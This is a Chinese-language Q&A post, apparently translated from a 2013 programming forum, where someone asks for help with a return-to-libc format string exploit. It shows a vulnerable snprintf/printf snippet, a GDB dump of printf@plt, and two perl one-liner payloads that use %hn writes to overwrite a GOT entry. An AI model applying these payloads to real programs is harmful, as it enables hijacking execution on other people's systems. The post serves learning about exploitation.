【发布时间】:2013-05-06 15:26:05
【问题描述】:
我正在尝试执行返回 libc 格式字符串攻击,但我要写入的地址 (0x0804a000) 中有一个空字节!我必须在我的格式字符串中读取 snprintf 以便空字节导致它发生故障并随机出现 Segfaults。
buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);
这是 printf@plt 的 GDB 转储:
(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>: jmp *0x804a000
0x080483c6 <+6>: push $0x0
0x080483cb <+11>: jmp 0x80483b0
End of assembler dump.
有人有什么想法吗?
我当前的方法是这样运行的
./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
但是有一个空字节。我也试过了
./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
但是0x0804a000之前的地址有全局偏移表,因此snprintf在返回调用它的函数之前就发生了段错误。
【问题讨论】:
标签: string format libc exploit